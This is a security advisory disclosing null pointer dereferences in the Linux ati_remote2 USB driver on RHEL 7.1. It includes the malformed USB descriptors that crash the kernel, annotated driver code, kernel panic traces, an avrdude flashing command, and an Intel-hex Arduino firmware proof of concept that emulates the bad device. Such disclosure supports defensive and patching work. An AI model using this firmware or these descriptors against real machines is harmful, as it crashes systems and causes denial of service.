Linux ati_remote2 Null Pointer Dereference

`OS-S Security Advisory 2016-18  
Linux ati_remote2 multiple Nullpointer Dereferences   
  
Date: March 4th, 2016  
Authors: Sergej Schumilo, Hendrik Schwartke, Ralf Spenneberg  
CVE: not yet assigned  
CVSS: 4.9 (AV:L/AC:L/Au:N/C:N/I:N/A:C)  
Title: Multiple Local RedHat Enterprise Linux DoS – RHEL 7.1 Kernel crashes on   
invalid USB device descriptors (ati_remote2 driver)  
Severity: Critical. The Kernel panics. A reboot is required.  
Ease of Exploitation: Trivial  
Vulnerability type: Wrong input validation  
Products: RHEL 7.1 including all updates  
Kernel-Version: 3.10.0-229.20.1.el7.x86_64 (for debugging-purposes we used the   
CentOS Kernel kernel-debuginfo-3.10.0-229.14.1.el7)  
Vendor: Red Hat  
Vendor contacted: November, 12th 2015  
PDF of advisory: https://os-s.net//advisories/OSS-2016-18_ati_remote2.pdf  
  
Abstract:  
The Kernel 3.10.0-229.20.1.el7.x86_64 crashes on presentation of a buggy USB   
device requiring the ati_remote2 driver  
  
Detailed product description:  
We confirmed the bug on the following system:  
RHEL 7.1  
Kernel 3.10.0-229.20.1.el7.x86_64  
Further products or kernel versions have not been tested.  
How reproducible: Always  
Actual results: Kernel crashes.   
  
Description:  
These bugs were found using the USB-fuzzing framework vUSBf from Sergej   
Schumilo  
(github.com/schumilo) using the following device descriptors:  
  
[*] Device-Descriptor #1  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0xff  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x471  
idProduct: 0x602  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
This is the configuration descriptor containing only one interface descriptor.  
The ati_remote2 driver assumes that there will be at least two interface-  
descriptors with associated endpoint-descriptors.   
Since the ati_remote2 driver is expecting a second interface descriptor, the   
driver tries to dereference a null-pointer.  
This results in a crash of the system.   
  
The null-pointer dereference happens in usb_driver_claim_interface() because   
the ati_remote2 driver passes in the second parameter a null-pointer:  
  
****  
$ nm ati_remote2.ko.debug | grep ati_remote2_probe  
0000000000001300 t ati_remote2_probe  
$ addr2line -e ati_remote2.ko.debug 1399  
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:825  
****  
  
**** CentOS-Kernel linux-3.10.0-229.14.1.el7   
(drivers/input/misc/ati_remote2.c)  
...  
820 ar2->intf[0] = interface;  
821 ar2->ep[0] = &alt->endpoint[0].desc;  
822  
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1); /* <-- usb_ifnum_to_if returns a   
null-pointer if there is only one interface configured */  
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);   
/* the second parameter is obviously a null-pointer which crashes the system   
*/  
825 if (r)  
826 goto fail1;  
827 alt = ar2->intf[1]->cur_altsetting;  
...  
****  
  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x0  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
  
  
[*] Device-Descriptor #2  
bLength: 0x12  
bDescriptorType: 0x1  
bcdUSB: 0x200  
bDeviceClass: 0xff  
bDeviceSubClass: 0x0  
bDeviceProtocol: 0x0  
bMaxPacketSize: 0x40  
idVendor: 0x471  
idProduct: 0x602  
bcdDevice: 0x100  
iManufacturer: 0x1  
iProduct: 0x2  
iSerialNumbers: 0x3  
bNumConfigurations: 0x1  
  
  
This is the configuration descriptor containing two interface-descriptors.  
The ati_remote2 driver assumes that there will be at least two interface-  
descriptors with associated endpoint-descriptors.   
If one of them contains a zero-value for bNumEndpoints or no endpoint-  
descriptor is configured for the corresponding interface-descriptor, the   
ati_remote2 driver tries to dereference a null-pointer and the kernel crashes:  
  
****  
$ nm ati_remote2.ko.debug | grep ati_remote2_probe  
0000000000001300 t ati_remote2_probe  
$ addr2line -e ati_remote2.ko.debug 13ff  
/usr/src/debug/kernel-3.10.0-229.14.1.el7/linux-3.10.0-229.14.1.el7.x86_64/drivers/input/misc/ati_remote2.c:646  
****  
  
**** CentOS-Kernel linux-3.10.0-229.14.1.el7   
(drivers/input/misc/ati_remote2.c)  
...  
632 static int ati_remote2_urb_init(struct ati_remote2 *ar2)  
633 {  
...  
646 pipe = usb_rcvintpipe(udev, ar2->ep[i]->bEndpointAddress); /* null-pointer   
derference */  
647 maxp = usb_maxpacket(udev, pipe, usb_pipeout(pipe));  
...  
820 ar2->intf[0] = interface;   
821 ar2->ep[0] = &alt->endpoint[0].desc; /* <-- possible null-pointer   
(interface-0) */  
822  
823 ar2->intf[1] = usb_ifnum_to_if(udev, 1);  
824 r = usb_driver_claim_interface(&ati_remote2_driver, ar2->intf[1], ar2);   
825 if (r)  
826 goto fail1;  
827 alt = ar2->intf[1]->cur_altsetting;  
828 ar2->ep[1] = &alt->endpoint[0].desc; /* <-- possible null-pointer   
(interface-1) */  
...  
****  
  
  
[*] Configuration-Descriptor  
bLength: 0x9  
bDescriptorType: 0x2  
wTotalLength: 0x27  
bNumInterfaces: 0x1  
bConfigurationValue: 0x1  
iConfiguration: 0x0  
bmAttributes: 0x0  
bMaxPower: 0x31  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x0 malicious value for interface-0  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81   
bmAttribut: 0x3   
wMaxPacketSize: 0x404  
bInterval: 0xc  
[*] Interface-Descriptor  
bLength: 0x9  
bDescriptorType: 0x4  
bInterfaceNumber: 0x0  
bAlternateSetting: 0x0  
bNumEndpoints: 0x0 malicious value for interface-1  
bInterfaceClass: 0x0  
bInterfaceSubClass: 0x0  
bInterfaceProtocol: 0x0  
[*] Endpoint-Descriptor:  
bLength: 0x7  
bDescriptorType: 0x5  
bEndpointAddress: 0x81   
bmAttribut: 0x3   
wMaxPacketSize: 0x404  
bInterval: 0xc  
  
  
  
Proof of Concept:  
For a proof of concept, we are providing two Arduino Leonardo firmware files.   
These firmware files will emulate defective USB devices.  
  
  
avrdude -v -p ATMEGA32u4 -c avr109 -P /dev/ttyACM0 -b 57600 -U   
flash:w:binary.hex  
  
  
Firmware files have been attached to this bug report.  
To prevent the automated delivery of the payload, a jumper may be used to   
connect port D3 and 3V3!  
  
Severity and Ease of Exploitation:  
Both vulnerabilities can be easily exploited. Using our Arduino Leonardo   
firmware files, only physical access to the system is required.  
  
Vendor Communication:  
We contacted Red Hat on the November, 12th 2015.  
To this day, no security patches were provided by the vendor.  
Since our 90-day Responsible Discourse deadline is expired, we publish this   
Security Advisory.   
  
References:  
https://bugzilla.redhat.com/show_bug.cgi?id=1283362  
https://bugzilla.redhat.com/show_bug.cgi?id=1283363  
  
Kernel Stacktrace #1:  
  
[ 869.909147] usb 1-1: config index 0 descriptor too short (expected 27, got   
18)  
[ 869.934680] usb 1-1: New USB device found, idVendor=0471, idProduct=0602  
[ 869.941501] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 869.949470] usb 1-1: Product: ĉ  
[ 869.953504] usb 1-1: Manufacturer: ĉ  
[ 869.957975] usb 1-1: SerialNumber: %  
[ 869.995183] BUG: unable to handle kernel NULL pointer dereference at   
00000000000000c0  
[ 869.996024] IP: [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110  
[ 869.996024] PGD 0   
[ 869.996024] Oops: 0000 [#1] SMP   
[ 869.996024] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT   
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc   
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6   
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter   
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat   
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter   
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper   
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c   
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix   
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 869.996024] CPU: 0 PID: 2243 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 869.996024] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 869.996024] task: ffff88000bcfc440 ti: ffff88000afe8000 task.ti: ffff88000afe8000  
[ 869.996024] RIP: 0010:[<ffffffff8141bf4e>] [<ffffffff8141bf4e>]   
usb_driver_claim_interface+0x1e/0x110  
[ 869.996024] RSP: 0018:ffff88000afebb60 EFLAGS: 00010286  
[ 869.996024] RAX: 00000000fffffff0 RBX: 0000000000000000 RCX: 0000000000000000  
[ 869.996024] RDX: ffff88000c3abc00 RSI: 0000000000000000 RDI: ffffffffa0396080  
[ 869.996024] RBP: ffff88000afebb90 R08: 0000000000000000 R09: ffff88000e401500  
[ 869.996024] R10: ffffffffa0394359 R11: ffffffff810020d8 R12: ffff88000f64a188  
[ 869.996024] R13: ffffffffa03960e8 R14: ffff88000bcd3000 R15: ffff88000c3abc00  
[ 869.996024] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 869.996024] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 869.996024] CR2: 00000000000000c0 CR3: 000000000c44c000 CR4:   
00000000000006f0  
[ 869.996024] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 869.996024] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 869.996024] Stack:  
[ 869.996024] ffffffffa0394359 ffff88000c525800 ffff88000f64a188 ffffffffa03960e8  
[ 869.996024] ffff88000bcd3000 ffff88000c3abc00 ffff88000afebbe0 ffffffffa0394399  
[ 869.996024] ffff88000afebbe0 ffff88000bcd3000 ffff88000bcd3090 ffff88000bcd3090  
[ 869.996024] Call Trace:  
[ 869.996024] [<ffffffffa0394359>] ? ati_remote2_probe+0x59/0x4ec [ati_remote2]  
[ 869.996024] [<ffffffffa0394399>] ati_remote2_probe+0x99/0x4ec [ati_remote2]  
[ 869.996024] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 869.996024] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 869.996024] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 869.996024] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 869.996024] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 869.996024] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 869.996024] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0  
[ 869.996024] [<ffffffff813d3b34>] driver_register+0x64/0xf0  
[ 869.996024] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160  
[ 869.996024] [<ffffffffa0399000>] ? 0xffffffffa0398fff  
[ 869.996024] [<ffffffffa039901e>] ati_remote2_driver_init+0x1e/0x1000   
[ati_remote2]  
[ 869.996024] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 869.996024] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 869.996024] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 869.996024] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 869.996024] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 869.996024] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 869.996024] Code: c3 66 66 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 55   
b8 f0 ff ff ff 48 89 e5 41 57 41 56 41 55 41 54 53 48 89 f3 48 83 ec 08 <48> 83   
be c0 00 00 00 00 75 74 48 8b 46 30 4c 8d 76 30 49 89 fd   
[ 869.996024] RIP [<ffffffff8141bf4e>] usb_driver_claim_interface+0x1e/0x110  
[ 869.996024] RSP <ffff88000afebb60>  
[ 869.996024] CR2: 00000000000000c0  
[ 870.442943] ---[ end trace b239663354a1c556 ]---  
[ 870.448066] Kernel panic - not syncing: Fatal exception  
[ 870.449016] drm_kms_helper: panic occurred, switching back to text console  
  
  
  
Kernel Stacktrace #2:  
  
[ 39.447664] usb 1-1: new full-speed USB device number 2 using xhci_hcd  
[ 39.657384] usb 1-1: config 1 interface 0 altsetting 0 has 1 endpoint   
descriptor, different from the interface descriptor's value: 0  
[ 39.663707] usb 1-1: config 1 interface 1 altsetting 0 has 1 endpoint   
descriptor, different from the interface descriptor's value: 0  
[ 39.705574] usb 1-1: New USB device found, idVendor=0471, idProduct=0602  
[ 39.712580] usb 1-1: New USB device strings: Mfr=1, Product=2,   
SerialNumber=3  
[ 39.721329] usb 1-1: Product: ĉ  
[ 39.725410] usb 1-1: Manufacturer: ĉ  
[ 39.728891] usb 1-1: SerialNumber: %  
[ 39.794568] BUG: unable to handle kernel NULL pointer dereference at   
0000000000000002  
[ 39.795021] IP: [<ffffffffa03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]  
[ 39.795021] PGD 0   
[ 39.795021] Oops: 0000 [#1] SMP   
[ 39.795021] Modules linked in: ati_remote2(+) ip6t_rpfilter ip6t_REJECT   
ipt_REJECT xt_conntrack ebtable_nat ebtable_broute bridge stp llc   
ebtable_filter ebtables ip6table_nat nf_conntrack_ipv6 nf_defrag_ipv6   
nf_nat_ipv6 ip6table_mangle ip6table_security ip6table_raw ip6table_filter   
ip6_tables iptable_nat nf_conntrack_ipv4 nf_defrag_ipv4 nf_nat_ipv4 nf_nat   
nf_conntrack iptable_mangle iptable_security iptable_raw iptable_filter   
ip_tables bochs_drm ppdev syscopyarea sysfillrect sysimgblt ttm drm_kms_helper   
drm pcspkr i2c_piix4 i2c_core serio_raw parport_pc parport xfs libcrc32c   
sd_mod sr_mod crc_t10dif cdrom crct10dif_common ata_generic pata_acpi ata_piix   
libata e1000 floppy dm_mirror dm_region_hash dm_log dm_mod  
[ 39.795021] CPU: 0 PID: 2220 Comm: systemd-udevd Not tainted   
3.10.0-229.14.1.el7.x86_64 #1  
[ 39.795021] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS   
rel-1.8.2-0-g33fbe13 by qemu-project.org 04/01/2014  
[ 39.795021] task: ffff88000bcfa220 ti: ffff88000bd20000 task.ti: ffff88000bd20000  
[ 39.795021] RIP: 0010:[<ffffffffa03943ff>] [<ffffffffa03943ff>]   
ati_remote2_probe+0xff/0x4ec [ati_remote2]  
[ 39.795021] RSP: 0018:ffff88000bd23ba0 EFLAGS: 00010286  
[ 39.795021] RAX: ffff88000c500c00 RBX: ffff88000c525800 RCX: 0000000000000002  
[ 39.795021] RDX: 0000000000004a90 RSI: ffff88000c500c00 RDI: 0000000000000000  
[ 39.795021] RBP: ffff88000bd23be0 R08: 0000000000000000 R09: ffffffff814183da  
[ 39.795021] R10: ffff88000e401800 R11: ffffffff810020d8 R12: 0000000000000000  
[ 39.795021] R13: ffff88000bcd0000 R14: ffff88000f050850 R15: ffff88000f050800  
[ 39.795021] FS: 00007fb8082b4880(0000) GS:ffff88000fc00000(0000)   
knlGS:0000000000000000  
[ 39.795021] CS: 0010 DS: 0000 ES: 0000 CR0: 000000008005003b  
[ 39.795021] CR2: 0000000000000002 CR3: 000000000d6a6000 CR4:   
00000000000006f0  
[ 39.795021] DR0: 0000000000000000 DR1: 0000000000000000 DR2:   
0000000000000000  
[ 39.795021] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400  
[ 39.795021] Stack:  
[ 39.795021] ffff88000bd23be0 ffff88000bcd0000 ffff88000bcd0090 ffff88000bcd0090  
[ 39.795021] ffff88000bcd0000 ffffffffa03960e8 ffff88000c525830 ffffffffa03961c0  
[ 39.795021] ffff88000bd23c28 ffffffff8141dc04 000000000bd23c00 ffff88000c525800  
[ 39.795021] Call Trace:  
[ 39.795021] [<ffffffff8141dc04>] usb_probe_interface+0x1c4/0x2f0  
[ 39.795021] [<ffffffff813d30d7>] driver_probe_device+0x87/0x390  
[ 39.795021] [<ffffffff813d34b3>] __driver_attach+0x93/0xa0  
[ 39.795021] [<ffffffff813d3420>] ? __device_attach+0x40/0x40  
[ 39.795021] [<ffffffff813d0e43>] bus_for_each_dev+0x73/0xc0  
[ 39.795021] [<ffffffff813d2b2e>] driver_attach+0x1e/0x20  
[ 39.795021] [<ffffffff813d2680>] bus_add_driver+0x200/0x2d0  
[ 39.795021] [<ffffffff813d3b34>] driver_register+0x64/0xf0  
[ 39.795021] [<ffffffff8141c1c2>] usb_register_driver+0x82/0x160  
[ 39.795021] [<ffffffffa0399000>] ? 0xffffffffa0398fff  
[ 39.795021] [<ffffffffa039901e>] ati_remote2_driver_init+0x1e/0x1000   
[ati_remote2]  
[ 39.795021] [<ffffffff810020e8>] do_one_initcall+0xb8/0x230  
[ 39.795021] [<ffffffff810dd0ee>] load_module+0x133e/0x1b40  
[ 39.795021] [<ffffffff812f7d60>] ? ddebug_proc_write+0xf0/0xf0  
[ 39.795021] [<ffffffff810d96b3>] ? copy_module_from_fd.isra.42+0x53/0x150  
[ 39.795021] [<ffffffff810ddaa6>] SyS_finit_module+0xa6/0xd0  
[ 39.795021] [<ffffffff81614389>] system_call_fastpath+0x16/0x1b  
[ 39.795021] Code: 49 89 46 f0 0f 84 ca 03 00 00 31 ff be d0 00 00 00 e8 d6   
3f 08 e1 48 85 c0 49 89 46 e0 0f 84 b1 03 00 00 49 8b 7e d0 41 8b 4d 00 <0f>   
b6 57 02 c1 e1 08 c1 e2 0f 81 ca 80 00 00 40 09 ca 89 d1 c1   
[ 39.795021] RIP [<ffffffffa03943ff>] ati_remote2_probe+0xff/0x4ec [ati_remote2]  
[ 39.795021] RSP <ffff88000bd23ba0>  
[ 39.795021] CR2: 0000000000000002  
[ 40.196809] ---[ end trace b239663354a1c556 ]---  
[ 40.203621] Kernel panic - not syncing: Fatal exception  
[ 40.204592] drm_kms_helper: panic occurred, switching back to text console  
  
  
Arduino Leonardo Firmware #1:  
  
:100000000C94A8000C94C5000C94C5000C94C50079  
:100010000C94C5000C94C5000C94C5000C94C5004C  
:100020000C94C5000C94C5000C9484050C94EF034B  
:100030000C94C5000C94C5000C94C5000C94C5002C  
:100040000C94C5000C94C5000C94C5000C94C5001C  
:100050000C94C5000C94C5000C94C5000C94CE0102  
:100060000C94C5000C94C5000C94C5000C94C500FC  
:100070000C94C5000C94C5000C94C5000C94C500EC  
:100080000C94C5000C94C5000C94C5000C94C500DC  
:100090000C94C5000C94C5000C94C5000C94C500CC  
:1000A0000C94C5000C94C5000C94C500CB02CE0284  
:1000B000C102C502EF02EF02EF02D202D602DA025B  
:1000C000E002E402EF02EA020000000200080E0073  
:1000D00000030401000B000000000000000000000D  
:1000E00000000000000004080201104080401020C1  
:1000F00040804080080204018040201002011080EE  
:100100001020404004040404040304050202020217  
:1001100004030202020206060606060604040202A0  
:100120000204000000002300260029002C002F00FC  
:1001300000000000250028002B002E0031000000E8  
:100140000000240027002A002D00300000C180811B  
:1001500011241FBECFEFDAE0DEBFCDBF15E0A0E077  
:10016000B1E0E4E5F3E102C005900D92AA34B107D5  
:10017000D9F725E0AAE4B5E001C01D92A536B20783  
:10018000E1F70E94C8000C94C4060C940000089586  
:10019000CF93DF93CDB7DEB7CE57D1090FB6F89422  
:1001A000DEBF0FBECDBF0E9461020E94C70060E0AB  
:1001B00083E00E94F00261E087E00E94F00261E0CB  
:1001C00088E00E94F0020E9419067E0129E7E20EF3  
:1001D000F11C84E093E0D70111969C938E9389E003  
:1001E00094E013969C938E93129782E2E2E1F1E001  
:1001F0009E012F5F3F4F6901D90101900D928A95B1  
:10020000E1F788E1E4E3F1E0DE01939601900D92DD  
:100210008A95E1F782E1ECE4F1E0DE01DB96019002  
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Arduino Leonardo Firmware #2:  
  
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--   
OpenSource Security Ralf Spenneberg http://www.os-s.de  
Am Bahnhof 3-5 48565 Steinfurt Germany  
Fon: +49(0)2552 638 755 Fax: +49(0)2552 638 757  
`